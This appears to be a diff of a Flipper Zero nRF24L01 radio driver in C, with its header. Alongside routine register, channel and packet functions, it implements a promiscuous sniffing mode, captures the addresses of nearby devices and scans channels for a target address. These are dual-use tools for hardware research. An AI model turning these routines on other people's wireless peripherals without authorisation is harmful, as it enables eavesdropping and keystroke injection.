status = nrf24_write_reg(handle, REG_RF_SETUP, r6); // Write new rate.
return status;
}
uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle) {
uint8_t channel = 0;
nrf24_read_reg(handle, REG_RF_CH, &channel, 1);
return channel;
}
uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan) {
uint8_t status;
status = nrf24_write_reg(handle, REG_RF_CH, chan);
return status;
}
uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) {
uint8_t size = 0;
uint8_t status = 0;
size = nrf24_get_maclen(handle);
status = nrf24_read_reg(handle, REG_RX_ADDR_P0, mac, size);
return status;
}
uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) {
uint8_t status = 0;
uint8_t clearmac[] = {0, 0, 0, 0, 0};
nrf24_set_maclen(handle, size);
nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, clearmac, 5);
status = nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, mac, size);
return status;
}
uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) {
uint8_t size = 0;
uint8_t status = 0;
size = nrf24_get_maclen(handle);
status = nrf24_read_reg(handle, REG_TX_ADDR, mac, size);
return status;
}
uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) {
uint8_t status = 0;
uint8_t clearmac[] = {0, 0, 0, 0, 0};
nrf24_set_maclen(handle, size);
nrf24_write_buf_reg(handle, REG_TX_ADDR, clearmac, 5);
status = nrf24_write_buf_reg(handle, REG_TX_ADDR, mac, size);
return status;
}
uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle) {
uint8_t len = 0;
nrf24_read_reg(handle, RX_PW_P0, &len, 1);
return len;
}
uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len) {
uint8_t status = 0;
status = nrf24_write_reg(handle, RX_PW_P0, len);
return status;
}
uint8_t
nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full) {
uint8_t status = 0;
uint8_t size = 0;
uint8_t tx_pl_wid[] = {R_RX_PL_WID, 0};
uint8_t rx_pl_wid[] = {0, 0};
uint8_t tx_cmd[33] = {0}; // 32 max payload size + 1 for command
uint8_t tmp_packet[33] = {0};
status = nrf24_status(handle);
if(status & 0x40) {
if(full)
size = nrf24_get_packetlen(handle);
else {
nrf24_spi_trx(handle, tx_pl_wid, rx_pl_wid, 2, nrf24_TIMEOUT);
size = rx_pl_wid[1];
}
tx_cmd[0] = R_RX_PAYLOAD;
nrf24_spi_trx(handle, tx_cmd, tmp_packet, size + 1, nrf24_TIMEOUT);
nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit.
memcpy(packet, &tmp_packet[1], size);
} else if(status == 0) {
nrf24_flush_rx(handle);
nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit.
}
*packetsize = size;
return status;
}
uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack) {
uint8_t status = 0;
uint8_t tx[size + 1];
uint8_t rx[size + 1];
memset(tx, 0, size + 1);
memset(rx, 0, size + 1);
if(!ack)
tx[0] = W_TX_PAYLOAD_NOACK;
else
tx[0] = W_TX_PAYLOAD;
memcpy(&tx[1], payload, size);
nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
nrf24_set_tx_mode(handle);
while(!(status & (TX_DS | MAX_RT))) status = nrf24_status(handle);
if(status & MAX_RT) nrf24_flush_tx(handle);
nrf24_set_idle(handle);
nrf24_write_reg(handle, REG_STATUS, TX_DS | MAX_RT);
return status & TX_DS;
}
uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle) {
uint8_t status = 0;
uint8_t cfg = 0;
nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
cfg = cfg | 2;
status = nrf24_write_reg(handle, REG_CONFIG, cfg);
furi_delay_ms(5000);
return status;
}
uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle) {
uint8_t status = 0;
uint8_t cfg = 0;
nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
cfg &= 0xfc; // clear bottom two bits to power down the radio
status = nrf24_write_reg(handle, REG_CONFIG, cfg);
//nr204_write_reg(handle, REG_EN_RXADDR, 0x0);
furi_hal_gpio_write(nrf24_CE_PIN, false);
return status;
}
uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle) {
uint8_t status = 0;
uint8_t cfg = 0;
//status = nrf24_write_reg(handle, REG_CONFIG, 0x0F); // enable 2-byte CRC, PWR_UP, and PRIM_RX
nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
cfg |= 0x03; // PWR_UP, and PRIM_RX
status = nrf24_write_reg(handle, REG_CONFIG, cfg);
//nr204_write_reg(REG_EN_RXADDR, 0x03) // Set RX Pipe 0 and 1
furi_hal_gpio_write(nrf24_CE_PIN, true);
furi_delay_ms(2000);
return status;
}
uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle) {
uint8_t status = 0;
uint8_t cfg = 0;
furi_hal_gpio_write(nrf24_CE_PIN, false);
nrf24_write_reg(handle, REG_STATUS, 0x30);
//status = nrf24_write_reg(handle, REG_CONFIG, 0x0E); // enable 2-byte CRC, PWR_UP
nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
cfg &= 0xfe; // disable PRIM_RX
cfg |= 0x02; // PWR_UP
status = nrf24_write_reg(handle, REG_CONFIG, cfg);
furi_hal_gpio_write(nrf24_CE_PIN, true);
furi_delay_ms(2);
return status;
}
void nrf24_configure(
FuriHalSpiBusHandle* handle,
uint8_t rate,
uint8_t* srcmac,
uint8_t* dstmac,
uint8_t maclen,
uint8_t channel,
bool noack,
bool disable_aa) {
assert(channel <= 125);
assert(rate == 1 || rate == 2);
if(rate == 2)
rate = 8; // 2Mbps
else
rate = 0; // 1Mbps
nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF
nrf24_set_idle(handle);
nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts
if(disable_aa)
nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst
else
nrf24_write_reg(handle, REG_EN_AA, 0x1F); // Enable Shockburst
nrf24_write_reg(handle, REG_DYNPD, 0x3F); // enable dynamic payload length on all pipes
if(noack)
nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack
else {
nrf24_write_reg(handle, REG_CONFIG, 0x0C); // 2 byte CRC
nrf24_write_reg(handle, REG_FEATURE, 0x07); // enable dyn payload and ack
nrf24_write_reg(
handle, REG_SETUP_RETR, 0x1f); // 15 retries for AA, 500us auto retransmit delay
}
nrf24_set_idle(handle);
nrf24_flush_rx(handle);
nrf24_flush_tx(handle);
if(maclen) nrf24_set_maclen(handle, maclen);
if(srcmac) nrf24_set_src_mac(handle, srcmac, maclen);
if(dstmac) nrf24_set_dst_mac(handle, dstmac, maclen);
nrf24_write_reg(handle, REG_RF_CH, channel);
nrf24_write_reg(handle, REG_RF_SETUP, rate);
furi_delay_ms(200);
}
void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate) {
//uint8_t preamble[] = {0x55, 0x00}; // little endian
uint8_t preamble[] = {0xAA, 0x00}; // little endian
//uint8_t preamble[] = {0x00, 0x55}; // little endian
//uint8_t preamble[] = {0x00, 0xAA}; // little endian
nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF
nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts
nrf24_write_reg(handle, REG_DYNPD, 0x0); // disable shockburst
nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst
nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack
nrf24_set_maclen(handle, 2); // shortest address
nrf24_set_src_mac(handle, preamble, 2); // set src mac to preamble bits to catch everything
nrf24_set_packetlen(handle, 32); // set max packet length
nrf24_set_idle(handle);
nrf24_flush_rx(handle);
nrf24_flush_tx(handle);
nrf24_write_reg(handle, REG_RF_CH, channel);
nrf24_write_reg(handle, REG_RF_SETUP, rate);
furi_delay_ms(200);
// prime for RX, no checksum
nrf24_write_reg(handle, REG_CONFIG, 0x03); // PWR_UP and PRIM_RX, disable AA and CRC
furi_hal_gpio_write(nrf24_CE_PIN, true);
furi_delay_ms(2000);
}
void hexlify(uint8_t* in, uint8_t size, char* out) {
memset(out, 0, size * 2);
for(int i = 0; i < size; i++) sprintf(out + strlen(out), "%02X", in[i]);
}
uint64_t bytes_to_int64(uint8_t* bytes, uint8_t size, bool bigendian) {
uint64_t ret = 0;
for(int i = 0; i < size; i++)
if(bigendian)
ret |= bytes[i] << ((size - 1 - i) * 8);
else
ret |= bytes[i] << (i * 8);
return ret;
}
void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian) {
for(int i = 0; i < 8; i++) {
if(bigendian)
out[i] = (val >> ((7 - i) * 8)) & 0xff;
else
out[i] = (val >> (i * 8)) & 0xff;
}
}
uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian) {
uint32_t ret = 0;
for(int i = 0; i < 4; i++)
if(bigendian)
ret |= bytes[i] << ((3 - i) * 8);
else
ret |= bytes[i] << (i * 8);
return ret;
}
void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian) {
for(int i = 0; i < 4; i++) {
if(bigendian)
out[i] = (val >> ((3 - i) * 8)) & 0xff;
else
out[i] = (val >> (i * 8)) & 0xff;
}
}
uint64_t bytes_to_int16(uint8_t* bytes, bool bigendian) {
uint16_t ret = 0;
for(int i = 0; i < 2; i++)
if(bigendian)
ret |= bytes[i] << ((1 - i) * 8);
else
ret |= bytes[i] << (i * 8);
return ret;
}
void int16_to_bytes(uint16_t val, uint8_t* out, bool bigendian) {
for(int i = 0; i < 2; i++) {
if(bigendian)
out[i] = (val >> ((1 - i) * 8)) & 0xff;
else
out[i] = (val >> (i * 8)) & 0xff;
}
}
// handle iffyness with preamble processing sometimes being a bit (literally) off
void alt_address_old(uint8_t* packet, uint8_t* altaddr) {
uint8_t macmess_hi_b[4];
uint8_t macmess_lo_b[2];
uint32_t macmess_hi;
uint16_t macmess_lo;
uint8_t preserved;
// get first 6 bytes into 32-bit and 16-bit variables
memcpy(macmess_hi_b, packet, 4);
memcpy(macmess_lo_b, packet + 4, 2);
macmess_hi = bytes_to_int32(macmess_hi_b, true);
//preserve least 7 bits from hi that will be shifted down to lo
preserved = macmess_hi & 0x7f;
macmess_hi >>= 7;
macmess_lo = bytes_to_int16(macmess_lo_b, true);
macmess_lo >>= 7;
macmess_lo = (preserved << 9) | macmess_lo;
int32_to_bytes(macmess_hi, macmess_hi_b, true);
int16_to_bytes(macmess_lo, macmess_lo_b, true);
memcpy(altaddr, &macmess_hi_b[1], 3);
memcpy(altaddr + 3, macmess_lo_b, 2);
}
bool validate_address(uint8_t* addr) {
uint8_t bad[][3] = {{0x55, 0x55}, {0xAA, 0xAA}, {0x00, 0x00}, {0xFF, 0xFF}};
for(int i = 0; i < 4; i++)
for(int j = 0; j < 2; j++)
if(!memcmp(addr + j * 2, bad[i], 2)) return false;
return true;
}
bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address) {
bool found = false;
uint8_t packet[32] = {0};
uint8_t packetsize;
//char printit[65];
uint8_t status = 0;
status = nrf24_rxpacket(handle, packet, &packetsize, true);
if(status & 0x40) {
if(validate_address(packet)) {
for(int i = 0; i < maclen; i++) address[i] = packet[maclen - 1 - i];
/*
alt_address(packet, packet);
for(i = 0; i < maclen; i++)
address[i + 5] = packet[maclen - 1 - i];
*/
//memcpy(address, packet, maclen);
//hexlify(packet, packetsize, printit);
found = true;
}
}
return found;
}
uint8_t nrf24_find_channel(
FuriHalSpiBusHandle* handle,
uint8_t* srcmac,
uint8_t* dstmac,
uint8_t maclen,
uint8_t rate,
uint8_t min_channel,
uint8_t max_channel,
bool autoinit) {
uint8_t ping_packet[] = {0x0f, 0x0f, 0x0f, 0x0f}; // this can be anything, we just need an ack
uint8_t ch = max_channel + 1; // means fail
nrf24_configure(handle, rate, srcmac, dstmac, maclen, 2, false, false);
for(ch = min_channel; ch <= max_channel + 1; ch++) {
nrf24_write_reg(handle, REG_RF_CH, ch);
if(nrf24_txpacket(handle, ping_packet, 4, true)) break;
}
if(autoinit) {
FURI_LOG_I("nrf24", "initializing radio for channel %d", ch);
nrf24_configure(handle, rate, srcmac, dstmac, maclen, ch, false, false);
return ch;
}
return ch;
}

368
lib/drivers/nrf24.h Normal file
View file

@ -0,0 +1,368 @@
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <furi_hal_spi.h>
#ifdef __cplusplus
extern "C" {
#endif
#define R_REGISTER 0x00
#define W_REGISTER 0x20
#define REGISTER_MASK 0x1F
#define ACTIVATE 0x50
#define R_RX_PL_WID 0x60
#define R_RX_PAYLOAD 0x61
#define W_TX_PAYLOAD 0xA0
#define W_TX_PAYLOAD_NOACK 0xB0
#define W_ACK_PAYLOAD 0xA8
#define FLUSH_TX 0xE1
#define FLUSH_RX 0xE2
#define REUSE_TX_PL 0xE3
#define RF24_NOP 0xFF
#define REG_CONFIG 0x00
#define REG_EN_AA 0x01
#define REG_EN_RXADDR 0x02
#define REG_SETUP_AW 0x03
#define REG_SETUP_RETR 0x04
#define REG_DYNPD 0x1C
#define REG_FEATURE 0x1D
#define REG_RF_SETUP 0x06
#define REG_STATUS 0x07
#define REG_RX_ADDR_P0 0x0A
#define REG_RF_CH 0x05
#define REG_TX_ADDR 0x10
#define RX_PW_P0 0x11
#define TX_DS 0x20
#define MAX_RT 0x10
#define nrf24_TIMEOUT 500
#define nrf24_CE_PIN &gpio_ext_pb2
#define nrf24_HANDLE &furi_hal_spi_bus_handle_external
/* Low level API */
/** Write device register
*
* @param handle - pointer to FuriHalSpiHandle
* @param reg - register
* @param data - data to write
*
* @return device status
*/
uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data);
/** Write buffer to device register
*
* @param handle - pointer to FuriHalSpiHandle
* @param reg - register
* @param data - data to write
* @param size - size of data to write
*
* @return device status
*/
uint8_t nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size);
/** Read device register
*
* @param handle - pointer to FuriHalSpiHandle
* @param reg - register
* @param[out] data - pointer to data
*
* @return device status
*/
uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size);
/** Power up the radio for operation
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle);
/** Power down the radio
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle);
/** Sets the radio to RX mode
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle);
/** Sets the radio to TX mode
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle);
/*=============================================================================================================*/
/* High level API */
/** Must call this before using any other nrf24 API
*
*/
void nrf24_init();
/** Send flush rx command
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle);
/** Send flush tx command
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return device status
*/
uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle);
/** Gets the RX packet length in data pipe 0
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return packet length in data pipe 0
*/
uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle);
/** Sets the RX packet length in data pipe 0
*
* @param handle - pointer to FuriHalSpiHandle
* @param len - length to set
*
* @return device status
*/
uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len);
/** Gets configured length of MAC address
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return MAC address length
*/
uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle);
/** Sets configured length of MAC address
*
* @param handle - pointer to FuriHalSpiHandle
* @param maclen - length to set MAC address to, must be greater than 1 and less than 6
*
* @return MAC address length
*/
uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen);
/** Gets the current status flags from the STATUS register
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return status flags
*/
uint8_t nrf24_status(FuriHalSpiBusHandle* handle);
/** Gets the current transfer rate
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return transfer rate in bps
*/
uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle);
/** Sets the transfer rate
*
* @param handle - pointer to FuriHalSpiHandle
* @param rate - the transfer rate in bps
*
* @return device status
*/
uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate);
/** Gets the current channel
* In nrf24, the channel number is multiplied times 1MHz and added to 2400MHz to get the frequency
*
* @param handle - pointer to FuriHalSpiHandle
*
* @return channel
*/
uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle);
/** Sets the channel
*
* @param handle - pointer to FuriHalSpiHandle
* @param frequency - the frequency in hertz
*
* @return device status
*/
uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan);
/** Gets the source mac address
*
* @param handle - pointer to FuriHalSpiHandle
* @param[out] mac - the source mac address
*
* @return device status
*/
uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t *mac);
/** Sets the source mac address
*
* @param handle - pointer to FuriHalSpiHandle
* @param mac - the mac address to set
* @param size - the size of the mac address (2 to 5)
*
* @return device status
*/
uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size);
/** Gets the dest mac address
*
* @param handle - pointer to FuriHalSpiHandle
* @param[out] mac - the source mac address
*
* @return device status
*/
uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t *mac);
/** Sets the dest mac address
*
* @param handle - pointer to FuriHalSpiHandle
* @param mac - the mac address to set
* @param size - the size of the mac address (2 to 5)
*
* @return device status
*/
uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size);
/** Reads RX packet
*
* @param handle - pointer to FuriHalSpiHandle
* @param[out] packet - the packet contents
* @param[out] packetsize - size of the received packet
* @param full - boolean set to true, packet length is determined by RX_PW_P0 register, false it is determined by dynamic payload length command
*
* @return device status
*/
uint8_t nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full);
/** Sends TX packet
*
* @param handle - pointer to FuriHalSpiHandle
* @param packet - the packet contents
* @param size - packet size
* @param ack - boolean to determine whether an ACK is required for the packet or not
*
* @return device status
*/
uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack);
/** Configure the radio
* This is not comprehensive, but covers a lot of the common configuration options that may be changed
* @param handle - pointer to FuriHalSpiHandle
* @param rate - transfer rate in Mbps (1 or 2)
* @param srcmac - source mac address
* @param dstmac - destination mac address
* @param maclen - length of mac address
* @param channel - channel to tune to
* @param noack - if true, disable auto-acknowledge
* @param disable_aa - if true, disable ShockBurst
*
*/
void nrf24_configure(FuriHalSpiBusHandle* handle, uint8_t rate, uint8_t* srcmac, uint8_t* dstmac, uint8_t maclen, uint8_t channel, bool noack, bool disable_aa);
/** Configures the radio for "promiscuous mode" and primes it for rx
* This is not an actual mode of the nrf24, but this function exploits a few bugs in the chip that allows it to act as if it were.
* See http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html for details.
* @param handle - pointer to FuriHalSpiHandle
* @param channel - channel to tune to
* @param rate - transfer rate in Mbps (1 or 2)
*/
void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate);
/** Listens for a packet and returns first possible address sniffed
* Call this only after calling nrf24_init_promisc_mode
* @param handle - pointer to FuriHalSpiHandle
* @param maclen - length of target mac address
* @param[out] addresses - sniffed address
*
* @return success
*/
bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address);
/** Sends ping packet on each channel for designated tx mac looking for ack
*
* @param handle - pointer to FuriHalSpiHandle
* @param srcmac - source address
* @param dstmac - destination address
* @param maclen - length of address
* @param rate - transfer rate in Mbps (1 or 2)
* @param min_channel - channel to start with
* @param max_channel - channel to end at
* @param autoinit - if true, automatically configure radio for this channel
*
* @return channel that the address is listening on, if this value is above the max_channel param, it failed
*/
uint8_t nrf24_find_channel(FuriHalSpiBusHandle* handle, uint8_t* srcmac, uint8_t* dstmac, uint8_t maclen, uint8_t rate, uint8_t min_channel, uint8_t max_channel, bool autoinit);
/** Converts 64 bit value into uint8_t array
* @param val - 64-bit integer
* @param[out] out - bytes out
* @param bigendian - if true, convert as big endian, otherwise little endian
*/
void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian);
/** Converts 32 bit value into uint8_t array
* @param val - 32-bit integer
* @param[out] out - bytes out
* @param bigendian - if true, convert as big endian, otherwise little endian
*/
void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian);
/** Converts uint8_t array into 32 bit value
* @param bytes - uint8_t array
* @param bigendian - if true, convert as big endian, otherwise little endian
*
* @return 32-bit value
*/
uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian);
#ifdef __cplusplus
}
#endif